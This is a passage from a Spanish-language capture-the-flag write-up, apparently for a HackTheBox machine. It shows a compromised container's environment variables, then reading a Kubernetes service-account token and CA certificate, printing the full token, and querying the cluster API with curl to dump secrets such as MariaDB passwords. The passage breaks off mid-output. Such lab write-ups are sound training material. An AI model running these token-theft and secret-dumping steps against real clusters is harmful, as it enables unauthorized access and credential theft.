&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_CFLAGS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_PORT_80_TCP_ADDR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.4.242
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_VERSION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;8.3.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.2.241:5000
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_SERVICE_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_MODE&lt;span style="color:#f92672"&gt;=&lt;/span&gt;enabled
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3306&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;GPG_KEYS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_PORT_80_TCP_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_SERVICE_HOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.147.82
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_CPPFLAGS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_ASC_URL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;https://www.php.net/distributions/php-8.3.3.tar.xz.asc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3306&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_PORT_80_TCP_PROTO&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_URL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;https://www.php.net/distributions/php-8.3.3.tar.xz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_MAX_EXECUTION_TIME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;120&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_PORT_443_TCP_ADDR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PATH&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.147.82:3306
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_SERVICE_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3306&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_80_TCP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.61.204:80
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_PORT_443_TCP_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_MARIADB_PORT_3306_TCP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.147.82:3306
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.61.204
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_MEMORY_LIMIT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;128M
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_PORT_80_TCP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.4.242:80
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_PORT_443_TCP_PROTO&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CMS_ENVIRONMENT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;development
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_SERVICE_PORT_HTTP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_SERVICE_PORT_HTTPS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_PORT_443_TCP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.0.1:443
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHPIZE_DEPS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KUBERNETES_SERVICE_HOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.2.241
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PWD&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/var
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PHP_SHA256&lt;span style="color:#f92672"&gt;=&lt;/span&gt;b0a996276fe21fe9ca8f993314c8bc02750f464c7b0343f056fb0894a8dfa9d1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_PORT_443_TCP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp://10.43.61.204:443
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;443&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BETA_VINO_WP_WORDPRESS_SERVICE_HOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.61.204
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO&lt;span style="color:#f92672"&gt;=&lt;/span&gt;tcp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WP_NGINX_SERVICE_SERVICE_HOST&lt;span style="color:#f92672"&gt;=&lt;/span&gt;10.43.4.242
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ya estoy dentro del contenedor &lt;em&gt;legacy&lt;/em&gt; como root.&lt;/p&gt;
&lt;h3 id="explotación-de-kubernetes"&gt;Explotación de Kubernetes&lt;/h3&gt;
&lt;p&gt;Revisando el entorno de este nuevo contenedor, busco los tokens del Service Account de Kubernetes montados por defecto:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Buscar service account tokens&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find /var/run/secrets/kubernetes.io/serviceaccount /run/secrets/kubernetes.io/serviceaccount -type f 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Leer el token de servicio&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/run/secrets/kubernetes.io/serviceaccount/token
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Leer namespace&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Leer CA cert&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el token capturado, realizo consultas a la API de Kubernetes para extraer todos los secretos del &lt;em&gt;namespace&lt;/em&gt; &lt;code&gt;default&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SECTRETOS KUBERNETES:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/namespace
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;default
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/ca.crt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MIIBdzCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dmVyLWNhQDE3MjY5Mjc3MjMwHhcNMjQwOTIxMTQwODQzWhcNMzQwOTE5MTQwODQz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE3MjY5Mjc3MjMwWTATBgcqhkjO
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PQIBBggqhkjOPQMBBwNCAATWYWOnIUmDn8DGHOdKLjrOZ36gSUMVrnqqf6YJsvpk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9QbgzGNFzYcwDZxmZtJayTbUrFFjgSydDNGuW/AkEnQ+o0IwQDAOBgNVHQ8BAf8E
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUtCpVDbK3XnBv3N3BKuXy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Yd0zeicwCgYIKoZIzj0EAwIDSAAwRQIgOsFo4UipeXPiEXvlGH06fja8k46ytB45
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd0d39uShuQCIQDMgaSW8nrpMfNExuGLMZhcsVrUr5XXN8F5b/zYi5snkQ&lt;span style="color:#f92672"&gt;==&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /var/run/secrets/kubernetes.io/serviceaccount/..2025_11_06_14_58_37.3598381061/token
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzkzOTc3MTE3LCJpYXQiOjE3NjI0NDExMTcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiZDI1ZTAyYzAtZDM2Zi00ZDE0LWFiYjEtMmYxZDA3OTEwMTk5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LXpjeDg4IiwidWlkIjoiNjEyYmJmZjMtOTQ3NS00ZGVmLTg2MjQtNTI1ODI4MzAwNDAzIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc2MjQ0NDcyNH0sIm5iZiI6MTc2MjQ0MTExNywic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.QBBz0GhCwwg-X12f2akCz4vbMq3bg7_tYRbZfGN38qiiCEMNxtNv-NLLmFzZPSIPAZQAwOAik6AaIqclREuGBZITEUVnJ0e4ra7EH5koVHucEZO5DX8tUe46EgWl_tTZ92WcCWcLn9_LmLdAO4Wo6hfTeiTp5yMVz69uU0osxUWSUDN3pJLPtjGu_KCZZKGd57XOd0oMx-fkqUMQtPyE9h65ifQfppxadANB9LFzwhhe0NMVqPfAoBEhU8gFAx_PxB0USj7wshslvhLemDpZXFKjMNDICvq0RZMyx__06TdFx1Pbv71YeO12j4jdVtbkxaZSw8HVDqoY5wBJiIkajA
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TOKEN&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;cat /var/run/secrets/kubernetes.io/serviceaccount/token&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl https://kubernetes.default.svc/api/v1/namespaces/default/secrets &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#34;Authorization: Bearer &lt;/span&gt;$TOKEN&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | grep &lt;span style="color:#e6db74"&gt;&amp;#34;password&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El output en JSON:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;mariadb-password&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;mariadb-root-password&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw==&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Opaque&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;metadata&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;beta-vino-wp-wordpress&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;uid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;1cbbc5ac-1611-46af-8033-09e98dfc546b&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;resourceVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2088228&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;creationTimestamp&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2024-09-21T22:17:31Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;labels&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;app.kubernetes.io/instance&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;beta-vino-wp&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;app.kubernetes.io/managed-by&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Helm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;app.kubernetes.io/name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;wordpress&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;app.kubernetes.io/version&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;6.8.2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;helm.sh/chart&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;wordpress-25.0.5&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;annotations&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;meta.helm.sh/release-name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;beta-vino-wp&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;meta.helm.sh/release-namespace&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;default&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;managedFields&amp;#34;&lt;/span&gt;: &lt;span style="color:#f92672"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;manager&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;helm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;operation&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;Update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;apiVersion&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;v1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;time&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;2025-08-29T03:29:54Z&amp;#34;&lt;/span&gt;,
